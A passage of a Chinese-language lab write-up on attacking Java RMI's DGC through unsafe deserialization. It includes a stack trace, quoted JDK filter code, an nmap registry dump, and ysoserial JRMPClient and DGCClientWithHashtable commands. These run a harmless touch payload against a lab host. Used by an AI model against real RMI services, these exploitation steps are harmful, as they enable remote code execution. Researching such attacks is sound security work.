sun.reflect.NativeMethodAccessorImpl.invoke0 (native method) [25] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62), pc = 100 [26] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43), pc = 6 [27] java.lang.reflect.Method.invoke (Method.java:498), pc = 56 [28] java.io.ObjectStreamClass.invokeReadObject (ObjectStreamClass.java:1,170), pc = 24 [29] java.io.ObjectInputStream.readSerialData (ObjectInputStream.java:2,177), pc = 119 [30] java.io.ObjectInputStream.readOrdinaryObject (ObjectInputStream.java:2,068), pc = 183 [31] java.io.ObjectInputStream.readObject0 (ObjectInputStream.java:1,572), pc = 401 [32] java.io.ObjectInputStream.readObject (ObjectInputStream.java:430), pc = 19 [33] java.util.Hashtable.readObject (Hashtable.java:1,211), pc = 208 [34] sun.reflect.NativeMethodAccessorImpl.invoke0 (native method) [35] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62), pc = 100 [36] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43), pc = 6 [37] java.lang.reflect.Method.invoke (Method.java:498), pc = 56 [38] java.io.ObjectStreamClass.invokeReadObject (ObjectStreamClass.java:1,170), pc = 24 [39] java.io.ObjectInputStream.readSerialData (ObjectInputStream.java:2,177), pc = 119 [40] java.io.ObjectInputStream.readOrdinaryObject (ObjectInputStream.java:2,068), pc = 183 [41] java.io.ObjectInputStream.readObject0 (ObjectInputStream.java:1,572), pc = 401 [42] java.io.ObjectInputStream.readObject (ObjectInputStream.java:430), pc = 19 [43] sun.rmi.transport.DGCImpl_Skel.dispatch (DGCImpl_Skel.java:90), pc = 195 [44] sun.rmi.server.UnicastServerRef.oldDispatch (UnicastServerRef.java:469), pc = 137 [45] sun.rmi.server.UnicastServerRef.dispatch (UnicastServerRef.java:301), pc = 44 [46] sun.rmi.transport.Transport$1.run (Transport.java:200), pc = 23 [47] sun.rmi.transport.Transport$1.run (Transport.java:197), pc = 1 [48] java.security.AccessController.doPrivileged (native method) [49] sun.rmi.transport.Transport.serviceCall (Transport.java:196), pc = 157 [50] sun.rmi.transport.tcp.TCPTransport.handleMessages (TCPTransport.java:573), pc = 185 [51] sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0 (TCPTransport.java:798), pc = 457 [52] sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0 (TCPTransport.java:688), pc = 1 [53] sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$6.1876141160.run (null), pc = 4 [54] java.security.AccessController.doPrivileged (native method) [55] sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run (TCPTransport.java:687), pc = 58 [56] java.util.concurrent.ThreadPoolExecutor.runWorker (ThreadPoolExecutor.java:1,149), pc = 95 [57] java.util.concurrent.ThreadPoolExecutor$Worker.run (ThreadPoolExecutor.java:624), pc = 5 [58] java.lang.Thread.run (Thread.java:748), pc = 11
http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/sun/misc/ObjectInputFilter.java
/ * sun.misc.ObjectInputFilter$Config$Global.checkInput / /* * {@inheritDoc} / @Override public Status checkInput(FilterInfo filterInfo) { if (filterInfo.references() < 0 || filterInfo.depth() < 0 || filterInfo.streamBytes() < 0 || filterInfo.references() > maxReferences || filterInfo.depth() > maxDepth || filterInfo.streamBytes() > maxStreamBytes) { return Status.REJECTED; }
Class<?> clazz = filterInfo.serialClass();
if (clazz != null) {
if (clazz.isArray()) {
if (filterInfo.arrayLength() >= 0 && filterInfo.arrayLength() > maxArrayLength) {
// array length is too big
return Status.REJECTED;
}
if (!checkComponentType) {
// As revised; do not check the component type for arrays
return Status.UNDECIDED;
}
do {
// Arrays are decided based on the component type
clazz = clazz.getComponentType();
} while (clazz.isArray());
}
if (clazz.isPrimitive()) {
// Primitive types are undecided; let someone else decide
return Status.UNDECIDED;
} else {
// Find any filter that allowed or rejected the class
final Class<?> cl = clazz;
Optional<Status> status = filters.stream()
.map(f -> f.apply(cl))
.filter(p -> p != Status.UNDECIDED)
.findFirst();
return status.orElse(Status.UNDECIDED);
}
}
/ * 642行,如果指定-Dsun.rmi.transport.dgcFilter='',流程至此 */ return Status.UNDECIDED; }
8u232指定dgcFilter时的行为应该算是BUG,无法通过调整maxdepth来绕过。无论怎 么调整maxdepth,总有一处返回REJECTED。
8) 用DGCClientWithHashtable打常规RMI动态端口
只要侦听RMI周知端口、动态端口,就有DGC在其中。对于低版本Java,找到RMI动态 端口就可以用DGCClientWithHashtable或ysoserial.exploit.JRMPClient打,不需要 EvilClientWithUnicastRemoteObject或ysoserial.payloads.JRMPListener。
参看:
《Java RMI入门(4)》 https://scz.617.cn/network/202003191728.txt
复用其中某些class。
假设目录结构是:
. | +---test1 | SomeDynamicServer4.class | SomeInterface4.class | SomeInterface4Impl.class | commons-collections-3.1.jar | ---test2 DGCClientWithHashtable.class commons-collections-3.1.jar ysoserial-0.0.6-SNAPSHOT-all.jar rmi-dumpregistry.nse
在test1目录执行:
rmiregistry 1099
java_8_40 \ -cp "commons-collections-3.1.jar:." \ -Djava.naming.factory.initial=com.sun.jndi.rmi.registry.RegistryContextFactory \ -Djava.naming.provider.url=rmi://192.168.65.23:1099 \ SomeDynamicServer4 any
在test2目录执行:
nmap -n -Pn -p 1099 --script rmi-dumpregistry.nse 192.168.65.23
PORT STATE SERVICE 1099/tcp open java-rmi | rmi-dumpregistry: | any | implements java.rmi.Remote, SomeInterface4, | extends | java.lang.reflect.Proxy | fields | Ljava/lang/reflect/InvocationHandler; h | java.rmi.server.RemoteObjectInvocationHandler | @192.168.65.23:45246 | extends |_ java.rmi.server.RemoteObject
java \ -cp "commons-collections-3.1.jar:." \ DGCClientWithHashtable 192.168.65.23 45246 \ "/bin/touch /tmp/scz_is_here"
java \ -cp ysoserial-0.0.6-SNAPSHOT-all.jar \ ysoserial.exploit.JRMPClient 192.168.65.23 45246 \ CommonsCollections7 "/bin/touch /tmp/scz_is_here"
"CVE-2017-3241进阶"篇用8u232可以得手,DGCClientWithHashtable只能打8u40等低 版本。
9) 用DGCClientWithHashtable打常规RMI周知端口
RMI周知端口一样有DGC在其中。对于低版本Java,可以用DGCClientWithHashtable或 ysoserial.exploit.JRMPClient打RMI周知端口。之前打RMI周知端口用过 ysoserial.exploit.RMIRegistryExploit。
参看:
《Java RMI入门(6)》 https://scz.617.cn/network/202004011650.txt
复用其中某些class。
假设目录结构是:
. | +---test1 | RMIRegistryServer.class | commons-collections-3.1.jar | ---test2 DGCClientWithHashtable.class commons-collections-3.1.jar ysoserial-0.0.6-SNAPSHOT-all.jar
在test1目录执行:
java_8_40 \ -cp "commons-collections-3.1.jar:." \ RMIRegistryServer 1099
在test2目录执行:
java \ -cp "commons-collections-3.1.jar:." \ DGCClientWithHashtable 192.168.65.23 1099 \ "/bin/touch /tmp/scz_is_here"
java \ -cp ysoserial-0.0.6-SNAPSHOT-all.jar \ ysoserial.exploit.JRMPClient 192.168.65.23 1099 \ CommonsCollections7 "/bin/touch /tmp/scz_is_here"
☆ 参考资源
[52] ysoserial https://github.com/frohoff/ysoserial/ https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar (A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization) (可以自己编译,不需要下这个jar包)
git clone https://github.com/frohoff/ysoserial.git